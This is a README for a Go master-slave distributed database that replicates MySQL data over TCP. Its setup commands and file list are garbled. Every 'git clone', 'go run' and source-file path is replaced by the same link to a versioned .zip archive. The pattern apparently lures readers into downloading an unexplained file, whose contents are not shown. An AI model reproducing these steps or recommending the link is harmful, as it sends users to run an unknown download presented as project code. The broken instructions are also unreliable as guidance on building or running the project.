Design and implement a basic distributed database system using the Go programming language. This project introduces core concepts of distributed systems, including data replication and fault tolerance.
- A distributed database system with a master-slave architecture.
- Supports dynamic creation of databases and tables.
- Master node can perform CRUD operations, and slaves can execute queries (excluding DROP).
- Data replication across multiple nodes for fault tolerance.
- Communication between nodes using TCP.
+-------------------------+
| Master Node |
|------------------------ |
| - DB Write Access |
| - Broadcast to Slaves |
+-------------------------+
/ \
v v
+-------------------------+ +-------------------------+
| Slave Node 1 | | Slave Node 2 |
|-------------------------| |-------------------------|
| - Read-only DB | | - Read-only DB |
| - Listen for Replication| | - Listen for Replication|
+-------------------------+ +-------------------------+
-
Master Node:
- Manages the creation of databases and tables.
- Executes queries and replicates data to slave nodes.
- Uses TCP for communication with slaves.
-
Slave Nodes:
- Independently store data and execute queries.
- Receive replicated data from the master.
- Restricted from executing database creation or deletion operations.
-
Clone the repository:
git clone https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip cd distributed-mysql
-
Install Go and MySQL on your system.
-
Update the configuration (IP addresses, ports, credentials) in the master and slave files as needed.
-
Run the Master Node:
go run https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip
-
Run the Slave Node:
go run https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip
- Start the master node first, followed by the slave nodes.
- Use the master console to execute queries.
- The master will automatically replicate data to all connected slave nodes.
-
To create a new database:
CREATE DATABASE testDB;
-
To insert a record:
INSERT INTO users (id, name) VALUES (1, 'Jessy');
-
To view records from slaves:
SELECT * FROM users;
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Main file for the master node.
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Main file for the slave nodes.
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Database management, handling SQL connections and query execution.
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Handles TCP communication to send messages.
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Handles TCP communication to receive messages.
-
pkg/network: TCP communication package.
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Main file for the master node.
-
https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip Main file for the slave nodes.
-
pkg/db: Database management package.
-
pkg/network: TCP communication package.
This project is licensed under the MIT License.
- Jessy - Project Lead and Developer
Feel free to contribute or report issues on the GitHub repository.